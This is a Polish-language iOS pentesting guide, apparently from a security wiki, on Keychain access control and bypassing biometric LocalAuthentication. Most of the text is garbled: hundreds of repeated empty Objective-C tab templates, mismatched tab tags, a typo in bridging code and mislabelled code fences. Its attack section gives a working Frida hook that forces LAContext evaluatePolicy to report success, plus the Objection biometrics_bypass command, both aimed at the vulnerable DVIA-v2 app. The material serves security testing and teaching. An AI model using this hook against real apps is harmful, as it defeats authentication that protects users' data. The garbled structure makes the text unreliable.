Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
Objective-C
|
||
{% endtab %}
|
||
|
||
{%
|
||
```objectivec
|
||
// 1. create AccessControl object that will represent authentication settings
|
||
CFErrorRef *err = nil;
|
||
|
||
SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
|
||
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
|
||
kSecAccessControlUserPresence,
|
||
err);
|
||
|
||
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
|
||
NSDictionary* query = @{
|
||
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
|
||
(__bridge id)kSecAttrAccount: @"OWASP Account",
|
||
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
|
||
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
|
||
};
|
||
|
||
// 3. save item
|
||
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);
|
||
|
||
if (status == noErr) {
|
||
// successfully saved
|
||
} else {
|
||
// error while saving
|
||
}
|
||
```
|
||
{% tab title="Swift" %}
|
||
|
||
Teraz możemy zażądać zapisanego elementu z keychaina. Usługi keychaina wyświetlą okno dialogowe uwierzytelniania użytkownika i zwrócą dane lub nil, w zależności od tego, czy podano odpowiedni odcisk palca czy nie.
|
||
|
||
```swift
|
||
let query: [String: Any] = [
|
||
kSecClass as String: kSecClassGenericPassword,
|
||
kSecAttrService as String: "MyApp",
|
||
kSecAttrAccount as String: "username",
|
||
kSecReturnData as String: true
|
||
]
|
||
|
||
var item: CFTypeRef?
|
||
let status = SecItemCopyMatching(query as CFDictionary, &item)
|
||
|
||
if status == errSecSuccess {
|
||
let passwordData = item as! Data
|
||
let password = String(data: passwordData, encoding: .utf8)
|
||
print("Password: \(password ?? "")")
|
||
} else {
|
||
print("Error retrieving password: \(status)")
|
||
}
|
||
```
|
||
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
```swift
|
||
// 1. define query
|
||
var query = [String: Any]()
|
||
query[kSecClass as String] = kSecClassGenericPassword
|
||
query[kSecReturnData as String] = kCFBooleanTrue
|
||
query[kSecAttrAccount as String] = "My Name" as CFString
|
||
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
|
||
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
|
||
|
||
// 2. get item
|
||
var queryResult: AnyObject?
|
||
let status = withUnsafeMutablePointer(to: &queryResult) {
|
||
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
|
||
}
|
||
|
||
if status == noErr {
|
||
let password = String(data: queryResult as! Data, encoding: .utf8)!
|
||
// successfully received password
|
||
} else {
|
||
// authorization not passed
|
||
}
|
||
```
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
```objectivec
|
||
// 1. define query
|
||
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||
(__bridge id)kSecReturnData: @YES,
|
||
(__bridge id)kSecAttrAccount: @"My Name1",
|
||
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
|
||
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };
|
||
|
||
// 2. get item
|
||
CFTypeRef queryResult = NULL;
|
||
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);
|
||
|
||
if (status == noErr){
|
||
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
|
||
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
|
||
NSLog(@"%@", password);
|
||
} else {
|
||
NSLog(@"Something went wrong");
|
||
}
|
||
```
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
### Wykrywanie
|
||
|
||
Użycie frameworków w aplikacji można również wykryć, analizując listę współdzielonych dynamicznych bibliotek w pliku binarnym aplikacji. Można to zrobić za pomocą polecenia `otool`:
|
||
```bash
|
||
$ otool -L <AppName>.app/<AppName>
|
||
```
|
||
Jeśli w aplikacji jest używany `LocalAuthentication.framework`, wynik będzie zawierał obie z poniższych linii (pamiętaj, że `LocalAuthentication.framework` korzysta z `Security.framework` pod spodem):
|
||
```bash
|
||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||
/System/Library/Frameworks/Security.framework/Security
|
||
```
|
||
Jeśli używany jest `Security.framework`, zostanie pokazana tylko druga opcja.
|
||
|
||
### Ominięcie ramki Local Authentication
|
||
|
||
#### **Objection**
|
||
|
||
Przez **Objection Biometrics Bypass**, dostępny na [tej stronie GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), istnieje technika ominięcia mechanizmu **LocalAuthentication**. Istota tego podejścia polega na wykorzystaniu **Frida** do manipulowania funkcją `evaluatePolicy`, zapewniając, że zawsze zwraca ona wartość `True`, niezależnie od rzeczywistego sukcesu uwierzytelniania. Jest to szczególnie przydatne do obejścia wadliwych procesów uwierzytelniania biometrycznego.
|
||
|
||
Aby aktywować to ominięcie, używa się następującej komendy:
|
||
```bash
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
|
||
(agent) [3mhtws9x47q] OS authentication response: false
|
||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||
```
|
||
To polecenie uruchamia sekwencję, w której Objection rejestruje zadanie, które efektywnie zmienia wynik sprawdzania `evaluatePolicy` na `True`.
|
||
|
||
#### Frida
|
||
|
||
Przykład użycia **`evaluatePolicy`** z aplikacji [DVIA-v2](https://github.com/prateek147/DVIA-v2):
|
||
```swift
|
||
+(void)authenticateWithTouchID {
|
||
LAContext *myContext = [[LAContext alloc] init];
|
||
NSError *authError = nil;
|
||
NSString *myLocalizedReasonString = @"Please authenticate yourself";
|
||
|
||
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
|
||
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
|
||
localizedReason:myLocalizedReasonString
|
||
reply:^(BOOL success, NSError *error) {
|
||
if (success) {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
|
||
});
|
||
} else {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
|
||
});
|
||
}
|
||
}];
|
||
} else {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
|
||
});
|
||
}
|
||
}
|
||
```
|
||
Aby osiągnąć **ominięcie** lokalnej autoryzacji, napisany jest skrypt Frida. Ten skrypt jest ukierunkowany na sprawdzenie metody **evaluatePolicy**, przechwytując jej wywołanie zwrotne, aby upewnić się, że zawsze zwraca **success=1**. Poprzez zmianę zachowania wywołania zwrotnego, sprawdzanie autoryzacji jest efektywnie ominięte.
|
||
|
||
Poniższy skrypt jest wstrzykiwany, aby zmodyfikować wynik metody **evaluatePolicy**. Zmienia on wynik wywołania zwrotnego, aby zawsze wskazywał na sukces.
|
||
```swift
|
||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||
if(ObjC.available) {
|
||
console.log("Injecting...");
|
||
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
|
||
Interceptor.attach(hook.implementation, {
|
||
onEnter: function(args) {
|
||
var block = new ObjC.Block(args[4]);
|
||
const callback = block.implementation;
|
||
block.implementation = function (error, value) {
|
||
|
||
console.log("Changing the result value to true")
|
||
const result = callback(1, null);
|
||
return result;
|
||
};
|
||
},
|
||
});
|
||
} else {
|
||
console.log("Objective-C Runtime is not available!");
|
||
}
|
||
```
|
||
Aby wstrzyknąć skrypt Frida i ominąć uwierzytelnianie biometryczne, używane jest polecenie:
|
||
```bash
|
||
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
||
```
|
||
## Ujawnienie wrażliwej funkcjonalności poprzez IPC
|
||
|
||
### Niestandardowe obsługiwane URI / Deep Linki / Niestandardowe schematy
|
||
|
||
{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %}
|
||
[ios-custom-uri-handlers-deeplinks-custom-schemes.md](ios-custom-uri-handlers-deeplinks-custom-schemes.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Uniwersalne linki
|
||
|
||
{% content-ref url="ios-universal-links.md" %}
|
||
[ios-universal-links.md](ios-universal-links.md)
|
||
{% endcontent-ref %}
|
||
|
||
### UIActivity Sharing
|
||
|
||
{% content-ref url="ios-uiactivity-sharing.md" %}
|
||
[ios-uiactivity-sharing.md](ios-uiactivity-sharing.md)
|
||
{% endcontent-ref %}
|
||
|
||
### UIPasteboard
|
||
|
||
{% content-ref url="ios-uipasteboard.md" %}
|
||
